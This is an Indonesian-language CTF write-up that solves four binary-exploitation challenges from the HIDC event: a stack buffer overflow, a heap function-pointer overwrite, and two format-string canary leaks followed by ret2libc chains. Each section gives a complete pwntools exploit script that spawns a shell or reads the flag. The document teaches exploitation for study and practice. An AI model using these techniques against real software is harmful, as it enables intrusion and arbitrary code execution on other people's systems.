Beberapa waktu lalu saya sempat ikut event CTF yang diselenggarakan oleh hacktrace yaitu HIDC. Karena saya juga penasaran dengan challenge binary exploitation / pwn dari hidc ini, jadi lumayan juga untuk belajar dan asah skill, dan disini saya akan sharing solusi dari semua challenge PWN yang ada.

Diharapkan temen temen sudah familiar beberapa konsep dan teknik yang digunakan untuk binary exploitation agar lebih memahami tulisan ini.

Therom

Challenge pertama yaitu bernama therom, yang jika kita run binary-nya maka akan terdapat suatu input PIN

None

Terlihat terdapat input PIN yang jika kita masukan selama 3 kali, maka akan mendapati pesan memory leak yang ditunjukkan pada fungsi get_input(). Seperti pada gaya CTF lainnya, saat ada leak memory maka kita bisa manfaatkan untuk melakukan bypass ASLR.

Jika kita melakukan disassembly menggunakan radare2, memang ada fungsi get_input yang dipanggil pada fungsi main

None

dan jika kita analysis, terdapat pemanggilan gets() function pada akhir input. gets() merupakan function yang deprecated dan sangat rentan karena tidak ada pembatasan character sehingga menimbulkan kerentanan buffer overflow.

None

Disini juga terdapat buffer 0x70 atau 112 pada decimal yang digunakan pada parameter pertama, artinya kita bisa menimpa 120 byte dan melakukan hijacking execution. Kenapa 120 ? karena terdapat padding pada stack, yang jika pada 64 byte ada 8 byte padding sedangkan pada 32 byte terdapat 4 byte padding

None

Juga terdapat win function yang memanggil execve() function untuk melakukan spawn shell, jadi skenarionya kita akan melakukan hijack flow program untuk memanggil win() function menggunakan kerentanan buffer overflow.

Kira kira secara sederhana, seperti ini payload-nya:

offset = 120
payload = b"A" * offset + p64(win_address)

Tapi jangan lupa dengan ASLR. kita tidak bisa langsung memanggil win address secara langsung karena adanya randomization pada memory. Disinilah kegunaan dari kebocoran memory tadi, jadi kita bisa menghitung address dari fungsi win aktualnya dengan cara :

base_address = memory_leak - offset_statis_get_input
win_address = base_address + offset_statis_win_address

Untuk mendapatkan offset statis, kita bisa menggunakan objdump

None

Dan untuk PoC lengkapnya dengan menggunakan pwntools seperti ini :

from pwn import *

#io = remote("10.1.2.228", 1337)

io = process("./therom")
get_input = 0x11ef #didapat dari objdump
win = 0x11b9 #didapat dari objdump

io.sendlineafter(":", b"asd")
print(io.recvline())
io.sendlineafter(":", b"asd")
print(io.recvline())
io.sendlineafter(":", b"asd")
print(io.recvline())
leak = io.recvline().decode('utf-8')
leak = leak.split(':')[1]
bocor = int(leak, 16)

base_address = bocor - get_input
win_address = base_address + win

offset = 120
payload = b"A" * offset + p64(win_address)
io.recvline
io.sendline(payload)
io.interactive()

dan jika kita run, seharusnya kita akan mendapatkan shell

None

memo_vault

Challenge yang kedua, diberi nama memo_vault yang pada challenge ini terkait dengan heap exploitation.

None

Seperti pada kebanyakan challenge heap lainnya, memang sangat umum sekali gaya dari binary seperti ini yang terdapat input create, edit dan delete dan ini biasanya terkait dengan implementasi dari malloc() dan alokasi memory. Jika kita lihat visualiasi decompile menggunakan radare maka akan tampil seperti ini

None

Disini terdapat komparasi dari angka yang kita inputkan, jika kita masukkan 1 maka akan memanggil fungsi create(), sementara jika kita masukkan 2 maka fungsi edit() akan dipanggil dan seterusnya. Jika kita analysis pada level assembly mungkin akan sedikit kesulitan, jadi kita akan menggunakan ghidra dan melihat pseudo code-nya

None
Fungsi create()
None
fungsi edit()

Dan bisa dilihat diatas, pada fungsi create() terdapat inisialisasi pada offset heap 0x100(256 )yang diisi dengan fungsi normal_print()

*(code **)(*(long *)(memos + (long)local_c * 8) + 0x100) = normal_print;

Sementara itu juga terdapat fungsi lain dengan nama vault_flag() dengan isi sebagai berikut

None

Fungsi ini bertindak untuk membaca flag.txt pada current directory, jadi hipotesisnya yaitu dengan melakukan hijacking execution flow fungsi normal_print() ke vault_flag().

Sebenarnya pola heap overflow sudah terlihat pada fungsi create()

    pvVar1 = malloc(264); //malloc diisi dengan 254
    *(void **)(memos + (long)local_c * 8) = pvVar1;
    *(code **)(*(long *)(memos + (long)local_c * 8) + 0x100) = normal_print; //offset 256/0x100 diisi dengan fungsi normal_print
    printf("Content: ");
    read(0,*(void **)(memos + (long)local_c * 8),0x100); //batasan fungsi read hanya membaca 0x100 byte
    puts("Created!");

Yang dimana alokasi malloc diisi dengan 264 byte, tetapi ada batasan pada fungsi read yang hanya mengambil 256/0x100 byte. Untungnya, ada fungsi edit() yang dimana kita bisa melakukan edit content pada heap yang membaca hingga 272 character

    printf("New content: ");
    read(0,*(void **)(memos + (ulong)local_c * 8),272);
    puts("Updated!");

Disini jelas overflow terjadi, jadi mari kita inspeksi menggunakan GDB.

None

Kita set breakpoint pada fungsi create() setelah read() dipanggil untuk melihat data pada chunks. dan string "testing" kita disimpan di register RSI dengan address 0x4052a0. Sekarang kita coba inspeksi alamat memory dan melihat data kita yang disimpan pada chunks

None

"0x0a676e6974736574" merupakan string dari "testing" dan untuk sampai ke fungsi normal_print(0x00000000004011bc) kita perlu mengisi data 256 byte agar dapat melakukan overwrite. Skenarionya yaitu :

  • Create content baru dengan isi kosong, hanya untuk mentrigger malloc
  • Edit content pada chunks yang dibuat sebelumnya dan isi dengan 256 byte untuk menimpa address normal_print
  • print content dan lihat hasilnya
None

Disini, kita berhasil melakukan overwrite dan program memanggil address 0x4242424242424242 yang merupakan representasi dari "BBBBBBBB". jadi tinggal kita ubah BBBB menjadi alamat dari vault_flag yang berada pada alamat 0x401196, dan jangan lupa untuk membuat fake flag pada current directory karena fungsi vault_flag akan membaca flag.txt

Untuk code pwntools lengkapnya dibawah ini

#!/usr/bin/python3
from pwn import *

context.binary = ELF("memo_vault")
elf = context.binary

offset = 256
vault_flag = p64(0x401196)

payload = b"A" * offset + vault_flag

io = process("./memo_vault")
#io = remote("10.1.2.228", 31337)
io.sendlineafter("> ", b"1")
io.sendlineafter(b'Content: ', b"")
io.sendlineafter(b'> ', b"2")
io.sendlineafter(b'Index: ', b"0")
io.sendlineafter(b'New content: ', payload)
io.sendlineafter("> ", b"3")
io.sendlineafter(b'Index: ', b"0")
print(io.recvall().decode())
None

labirin

Selanjutnya labirin, yang merupakan challenge ketiga.

None

Terdapat beberapa input dan juga perintah yang di deskripsikan pada program. Jadi mulai kita analysis menggunakan ghidra

None

fungsi main berisi kode diatas, yang terdapat 2 input menonjol yaitu jika kita inputkan string "inscribe" maka akan menjalankan fungsi inscribe(), sementara jika kita input "open", program akan break dan masuk pada fungsi open_gate().

Fungsi inscribe terlihat seperti ini

None

Disini menunjukkan adanya format string vulnerability, kodenya cukup jelas pada fungsi printf() yang mana input user langsung diteruskan sebagai argument dan tidak adanya pendefinisan dari data type. hal ini bisa kita manfaatkan untuk membocorkan alamat memory pada binary.

Yang juga kita lihat jika stack canary diaktifkan pada binary

None

Untuk stack canary kita bahas nanti, kita lanjut analysis binary-nya karena tujuannya untuk mendapatkan shell jadi kerentanan format string saja tidak cukup. Disini kita akan melihat code dari fungsi open_gate()

None

pada fungsi open_gate() terlihat sangat jelas terdapat kerentanan buffer overflow, karena terdapat pemanggilan langsung pada fungsi gets() dengan buffer 72. Jadi kita bisa saja langsung melakukan ret2libc, tetapi ada beberapa restriksi yang menjadi masalah yaitu ASLR on dan juga terdapat canary.

Mari kita coba input 80 character

None

Terdapat kesalahan dengan pesan "stack smashing detected" yang merupakan proteksi dari canary, artinya kita menimpa nilai canary sehingga program crash. Canary sendiri merupakan suatu proteksi yang digunakan untuk memitigasi kerentanan buffer overflow. Canary bekerja dengan cara menambahkan value acak pada stack, dimana jika kita melakukan exploit buffer overflow dan menimpa value dari canary ini maka akan dideteksi sebagai serangan dan program otomatis berhenti.

Canary di assign setelah buffer, jadi jika program diatas terdapat 72 byte maka terdapat tambahan 8 byte canary, jadi mari kita lihat di GDB

None

Kita set breakpoint setelah fungsi gets dan menginput character "A" sebanyak 72 byte, dan mari kita inspeksi register RAX yang mana buffer kita disimpan.

None

Seperti yang dimark pada gambar diatas, 0xef1b02ee210ab900 merupakan value dari canary dan tiap program dieksekusi maka canary akan terus berubah. Beruntungnya kita juga menemukan kerentanan format string sebelumnya, dan hal ini bisa kita manfaatkan untuk membocorkan value dari canary. Mari kita coba

None

Disini kita inputkan %p sebanyak 28 kali. %p merupakan format yang digunakan untuk print pointer value dengan representasi sebagai hexadecimal. Terlihat pada gambar diatas, pada %p ke 23 hasilnya sama dengan value canary, hal ini yang dinamakan kebocoran memory dan bisa dimanfaatkan untuk membypass proteksi stack canary.

Selanjutnya, kita masih berurusan dengan ASLR. Untuk bypass-nya ini sedikit tricky, jadi kita perlu membocorkan alamat dari fungsi GOT(global offset table). GOT berfungsi menyimpan address dari sebuah fungsi pada libc secara dynamic pada program, jadi GOT ini semacam perantara yang menjembatani pemanggilan fungsi dari binary ke shared library melalui PLT(Procedure Linkage Table).

Pseudo code dan idenya seperti ini :

  • Bocorkan canary dari fungsi inscribe() pada %p ke 23
  • Overflow pada fungsi open dan bocorkan puts lalu balik ke main_program
  • Setelah GOT puts bocor, maka kita bisa hitung libc base_address (puts_bocor — puts_libc_static)
  • Jika base_address didapatkan, selanjutnya hitung fungsi system dan offset "/bin/sh" melalui base_address
  • spawn shell dengan ret2libc pada fungsi open

Teknik diatas dinamakan dengan ret2plt, jadi kita manfaatkan behaviour dari program untuk membypass ASLR dan payload akan di kirim 2x, yaitu yang pertama untuk membocorkan alamat puts dan kedua untuk spawning shell.

Exploit lengkapnya terlihat seperti ini

#!/usr/bin/python3
from pwn import *

def get_canary():
    log.info("Mencoba mendapatkan canary...")
    
    # Format string untuk membocorkan nilai canary
    # Canary ada di posisi ke-23 (%p)
    format_string = b"%23$p"

    io.sendline(b"inscribe")
    io.recvuntil(b">> Apa yang ingin Anda ukir di dinding?\n>> ")
    io.sendline(format_string)

    # Tangkap output dan ekstrak nilai canary
    io.recvuntil(b"Dinding sekarang bertuliskan: ")
    canary_str = io.recvline().strip()
    canary_val = int(canary_str, 16)
    
    log.success(f"Canary berhasil didapat: {hex(canary_val)}")
    
    return canary_val

context.binary = ELF("labirin")
elf = context.binary
context.log_level = 'info'

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_address = elf.symbols['main']

pop_rdi = 0x0000000000401573
ret = 0x000000000040101a

io = process("./labirin")
#io = remote("10.1.2.228", 1338)

canary_value = get_canary()
    
payload = b"A" * 72 + p64(canary_value) + b"BBBBBBBB" + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret) + p64(main_address)
io.sendlineafter("> ", b"open")
io.sendlineafter("Masukkan kata sandi: ", payload)
print(io.recvline())
list_addr = io.recv().split(b"\n")
Puts_address = hex(unpack(list_addr[0], 'all'))

print("puts : " + Puts_address)

libc_base_addr = int(Puts_address, 16) - int(0x00000000007f760)

print(f"Libc Base Address {hex(libc_base_addr)}")
system = libc_base_addr + 0x0000000000528f0
binsh = libc_base_addr + 0x1a7e43
exit = libc_base_addr + 0x000000000042280
print("system_addr :" + hex(system))
print("/bin/sh offset : " + hex(binsh))

payload = b"A" * 72 + p64(canary_value)
payload += b"B" * 8
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

io.sendline(b"open")
io.sendline(payload)
print(io.recvline())
io.interactive()
None

Smasher

Challenge terakhir yaitu smasher, sebenarnya hampir sama dengan labirin tapi disini kita akan mencoba teknik yang berbeda.

None

tidak serumit labirin, hanya berupa 2 input dan kemudian exit. pada smasher ini juga canary diaktifkan jadi kita perlu membocorkan canary untuk bisa melakukan exploit. Langsung saja kita buka ghidra

None

Pada fungsi main tidak ada apapun, hanya memanggil fungsi handle_input(). Jadi mari kita ikuti

None

Karena terkait bypass canary, sangat umum jika lagi lagi terdapat kerentanan format string, dan juga pada fungsi ini terdapat 2 panggilan fungsi lain yaitu log_user_message() dan process_user_data().

Kerentanan sebenarnya ada pada fungsi process_user_data() yang terdapat pemanggilan gets() secara langsung

None

Hal ini bisa dilakukan exploit buffer overflow, tapi kita perlu tau dulu value canary dan juga perlu melakukan bypass ASLR. Disini kita akan membypass canary serta ASLR menggunakan format string vulnerability, pertama kita perlu tau dulu untuk canary berada pada offset stack yang ke berapa, jadi mari kita gunakan GDB untuk debugging dan set breakpoint setelah printf pada fungsi log_user_message

None

Terlihat jika canary berada pada offset ke 8, selanjutnya kita kalkulasi libc base_address dari kerentanan format string untuk membypass ASLR.

Cek menggunakan vmmap

None

base_address dimulai antara dari 0x00007ffff7db7000 dan 0x00007ffff7ddf000 yang merupakan kandidat penting. jadi kita perlu menemukan alamat dari memory yang bocor dengan awalan 0x7ffff7

None

Ditemukan pada offset ke 5, yang kita bisa kalkulasi dan mendapatkan alamat libc secara relatif dengan cara base_address_static — alamat_bocor

None

Dengan perhitungan sederhana seperti ini, kita bisa mendapatkan alamat libc relatif dengan offset 0x1e5ff0 yang bisa kita manfaatkan untuk membypass ASLR.

Dan satu lagi, kita perlu address dari main agar ROP gadget kita berfungsi. Pada kerentanan format string kita juga mendapatkan kebocoran memory pada alamat 0x555552a9

None

sedangkan awal program dimulai dari 0x0000555555554000 yang ditujukkan pada vmmap, jadi tinggal kita hitung offsetnya dengan mengurangi 0x5555555552a9–0x0000555555554000

None

dan ditemukan offset 0x12a9, yang bisa kita langsung susun payload kita menggunakan pwntools. Dan jadilah suatu exploit yang indah ini

#!/usr/bin/python3
from pwn import *
import time

def get_canary():
    log.info("Mencoba mendapatkan canary...")

    io.recvuntil(b"Selamat datang di sistem. Masukkan pesan: ")
    
    io.sendline("%p::%p::%p::%p::%p::%p::%p::%p::%p::%p::%p::%p::%p::%p::%p::%p")

    canary_str = io.recvline().decode().split("::")
    main_addr = canary_str[10].strip()
    canary_addr = canary_str[8].strip()
    libc_addr = canary_str[5].strip()

    return int(main_addr, 16), int(canary_addr, 16), int(libc_addr, 16)

io = process("./smasher")


main, canary, libc = get_canary()

libc_addr = libc - 0x1e5ff0
main_addr = main - 0x12a9


ret = main_addr + 0x000000000000101a
pop_rdi = main_addr + 0x00000000000013b3
main = main_addr + 0x0000000000012ca
main = libc_addr + 0x0000000000012ca
puts = libc_addr + 0x000000000007f760

print("Leak canary : " + hex(canary))
print("Leak main addr : " + hex(main))
print("Leak libc addr : " + hex(libc_addr))
print("Leak puts addr : " + hex(puts))

system = libc_addr + 0x0000000000528f0
binsh = libc_addr + 0x1a7e43

print("system addr : " + hex(system))

print("Exploit Processed...")
time.sleep(3)
print("Success, you are hackerman...")

payload = b"A" * 136 + p64(canary) + b"BBBBBBBB"
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

io.sendline(payload)
io.recv()
io.interactive()

Dan jika kita running seharusnya exploit berhasil

None

Penutup

Tulisan ini cukup panjang karena membahas langsung solusi terkait 4 dan semua challenge dari HIDC dengan kategori PWN. Disini saya tidak hanya memberikan PoC exploitnya saja tapi juga terkait penjelasan konsep dan cara exploitnya, jadi semoga bisa dipahami dengan baik. karena menurut saya, challenge dengan kategori PWN/exploitation atau yang terkait dengan reverse engineering itu merupakan titik awal yang bagus untuk menjadi seorang security researcher karena pada challenge low level seperti ini kita dituntuk untuk belajar bukan sekedar "how" melainkan lebih menekankan ke "why", seperti "kenapa bisa terjadi". jadi cukup sekian semoga bermanfaat.

"Kesempurnaan bukan tindakan tunggal, melainkan kebiasaan." Aristoteles